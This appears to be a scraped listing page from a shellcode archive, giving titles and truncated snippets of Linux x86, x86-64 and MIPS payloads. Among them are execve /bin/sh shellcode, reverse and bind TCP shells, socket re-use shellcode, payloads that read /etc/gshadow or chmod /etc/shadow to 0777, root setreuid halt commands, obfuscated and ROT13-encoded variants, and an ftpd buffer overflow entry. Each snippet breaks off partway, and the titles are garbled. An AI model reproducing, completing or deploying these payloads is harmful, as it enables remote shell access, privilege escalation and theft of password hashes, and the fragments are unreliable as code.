linux/x86 execve("/usr/bin/ssh", "127.0.0.1") - 50 bytes

// linux/x86 execve"/usr/bin/ssh", "/usr/bin/ssh", "127.0.0.1", NULL - 50 bytes // Febriyanto Nugroho include char shellcode = "\x6a\x0b" "\x58" "\x99" "\x52" "\x68\x2f\x73\x73\x68" "\x68\x2f\x62\x69\x6e" "\x68\x2f\x75\x73\x72" "\x89\xe3" "\x52" "\x6a\x31" "\x66\x68\x30\x2e" "\x66\x68\x30\x2e"...

Linux x86 - Execve /bin/sh Shellcode Via Push 21 bytes

Linux x86 - Execve /bin/sh Shellcode Via Push 21 bytes. Shellcode exploit for linx86 platform / Execve /bin/sh Shellcode Via Push Linux x86 21 bytes Dying to be the shortest. Copyright C 2015 Gu Zhengxiong [email protected] 18 February 2015 GPL .global start start: char const argv xorl %ecx, %ecx...

Linux x86-64 - Execve /bin/sh Shellcode Via Push 23 bytes

Linux x86-64 - Execve /bin/sh Shellcode Via Push 23 bytes. Shellcode exploit for linx86-64 platform / Execve /bin/sh Shellcode Via Push Linux x8664 23 bytes Dying to be the shortest. Copyright C 2015 Gu Zhengxiong [email protected] 27 April 2015 GPL .global start start: char const argv xorl %esi,...

linux/x86 to see /proc/sys/kernel/randomize_va_space - 79 bytes

/ Exploit Title : linux/x86 execve"/bin/cat", "/bin/cat", "/proc/sys/kernel/randomizevaspace", NULL - 79 bytes Exploit Author : Febriyanto Nugroho Tested on : Linux Debian 5.0.5 / include char shellcode = "\x31\xdb" "\x6a\x17" "\x58" "\xcd\x80" "\x8d\x43\x0b" "\x99" "\x52" "\x68\x2f\x63\x61\x74"...

linux/x86 execve("/bin/cat", "/etc/gshadow") - 44 bytes

/ Exploit Title : linux/x86 execve"/bin/cat", "/bin/cat", "/etc/gshadow", NULL - 44 bytes Exploit Author : Febriyanto Nugroho Tested on : Linux Debian 5.0.5 / include char shellcode = "\x31\xdb" "\x8d\x43\x0b" "\x99" "\x52" "\x68\x2f\x63\x61\x74" "\x68\x2f\x62\x69\x6e" "\x89\xe3" "\x52"...

linux/x86 setuid(0, 0) + execve("/usr/sbin/hibernate") + exit(0) - 59 bytes

/ +========================================================================================================= | Exploit Title : linux/x86 setuid0, 0 + execve"/usr/sbin/hibernate" + exit0 - 59 bytes | Exploit Author : Febriyanto Nugroho | Tested on : Linux Debian 5.0.5 |...

linux/x86 setreuid0, 0 + execve"/sbin/halt" + exit0 49 bytes

linux/x86 setreuid0, 0 + execve"/sbin/halt" + exit0 49 bytes. Shellcode exploit for linx86-64 platform / +======================================================================================== | Exploit Title : linux/x86 setreuid0, 0 + execve"/sbin/halt" + exit0 - 49 bytes | Exploit Author :...

linux/x86 setreuid(0, 0) + execve("/sbin/halt") + exit(0) - 49 bytes

/ +======================================================================================== | Exploit Title : linux/x86 setreuid0, 0 + execve"/sbin/halt" + exit0 - 49 bytes | Exploit Author : Febriyanto Nugroho | Tested on : Linux Debian 5.0.5...

Linux MIPS execve-vulnerability warning-the black bar safety net

include stdio. h / Sanguine@debian-mipsel:/leaveret cat MIPS36bsc. s . section . text . globl start . set noreorder start: slti $a2, $zero, -1 set a1 to zero p: bltzal $a2, p not branch always and save ra slti $a1, $zero, -1 set a1 to zero addu $a0, $ra, 4 0 9 7 a0 + 1 6 addu $a0, $a0, -4081 li...

Linux/x86 - Reverse TCP Shell 72 bytes

Linux/x86 - Reverse TCP Shell 72 bytes. Shellcode exploit for linx86 platform / Linux x86 - Reverse TCP Shell - 72 bytes Author: xmgv Details: https://xmgv.wordpress.com/2015/02/21/slae-assignment-2-reverse-shell/ / / global start section .text start: ; socketAFINET, SOCKSTREAM, 0; push 0x66 ;...

Linux/x86 - TCP Bind Shell 96 bytes

Linux/x86 - TCP Bind Shell 96 bytes. Shellcode exploit for linx86 platform / Linux x86 - TCP Bind Shell - 96 bytes Author: xmgv Details: https://xmgv.wordpress.com/2015/02/19/28/ / / global start section .text start: xor ebx, ebx ; zero out ebx mul ebx ; zero out eax, edx ; socketAFINET,...

Linux/x86 - chmod 0777 /etc/shadow obfuscated 84 bytes

Linux/x86 - chmod 0777 /etc/shadow obfuscated 84 bytes. Shellcode exploit for linx86 platform / Linux x86 - execve chmod 0777 /etc/shadow Obfuscated version - 84 bytes Original: http://shell-storm.org/shellcode/files/shellcode-828.php Author: xmgv Details:...

linux/x86 - ROT13 encoded execve"/bin/sh" 68 bytes

linux/x86 - ROT13 encoded execve"/bin/sh" 68 bytes. Shellcode exploit for linx86 platform / Linux x86 - ROT13 encoded execve"/bin/sh" - 68 bytes Author: xmgv Details: https://xmgv.wordpress.com/2015/03/04/slae-4-custom-shellcode-encoder/ / / global start section .text start: jmp short calldecoder...

linux/x86 - Obfuscated execve"/bin/sh" 40 bytes

linux/x86 - Obfuscated execve"/bin/sh" 40 bytes. Shellcode exploit for linx86 platform / Linux x86 - execve"/bin/sh" shellcode Obfuscated version - 40 bytes Original: http://shell-storm.org/shellcode/files/shellcode-811.php Author: xmgv Details:...

Linux MIPS execve 36 bytes

Linux MIPS execve 36 bytes. Shellcode exploit for linux platform Exploit Title: 36byte Linux MIPS execve Date: 2015 - 1 - 20 Exploit Author: Sanguine Vendor Homepage: http://sangu1ne.tistory.com/ include / Sanguine@debian-mipsel:/leaveret cat MIPS36bsc.s .section .text .globl start .set noreorder...

linux/x86 Run /usr/bin/python | setreuid(),execve() - 54 Bytes

Exploit Title: Shellcode Linux x86 Run /usr/bin/python | setreuid,execve Date: 31/7/2014 Exploit Author: Ali Razmjoo Tested on: kali-linux-1.0.4-i386 3.7-trunk-686-pae 1 SMP Debian 3.7.2-0+kali8 i686 GNU/Linux / Ali Razmjoo , email protected Shellcode Linux x86 Run /usr/bin/python | setreuid,exec...

Linux x86 - Socket Re-use Shellcode 50 bytes

Linux x86 - Socket Re-use Shellcode 50 bytes. CVE-2014-4943. Shellcode exploit for linx86 platform / Socket Re-use Combo for linux x86 systems by ZadYree -- 50 bytes Made using sockfd trick + dup20,0, dup20,1, dup20,2 + execve /bin/sh Thanks: Charles Stevenson, ipv, 3LRVS research team gcc -o...

linux/x86 setuid(0) + execve("/bin/sh", ["/bin/sh", NULL]) 31 bytes

No description provided by source. / Linux/x86 setuid0 + execve/bin/sh, /bin/sh, NULL - 31 bytes - [email protected] / char shellcode = \x6a\x17 // push $0x17 \x58 // pop %eax \x31\xdb // xor %ebx, %ebx \xcd\x80 // int $0x80 \x31\xd2 // xor %edx, %edx \x6a\x0b // push $0xb \x58 // pop %eax \x52 //...

FreeBSD 2.2-4.2,NetBSD 1.2-4.5,OpenBSD 2.x ftpd glob() Buffer Overflow

No description provided by source. source: http://www.securityfocus.com/bid/2548/info The BSD ftp daemon and derivatives such as IRIX ftpd or the ftp daemon shipped with Kerberos 5 contain a number of buffer overflows that may lead to a compromise of root access to malicious users. During parsing...

Serial port shell binding, busybox Launching shellcode

No description provided by source. / General: Serial port shell binding, busybox launching shellcode.. yey! Specific: really wish i could tell you what i needed this for.. but meh.. this will bind a busybox sh shell to /dev/ttyS0, the shellcode does not alter the baudrate settings.. 9600 is the...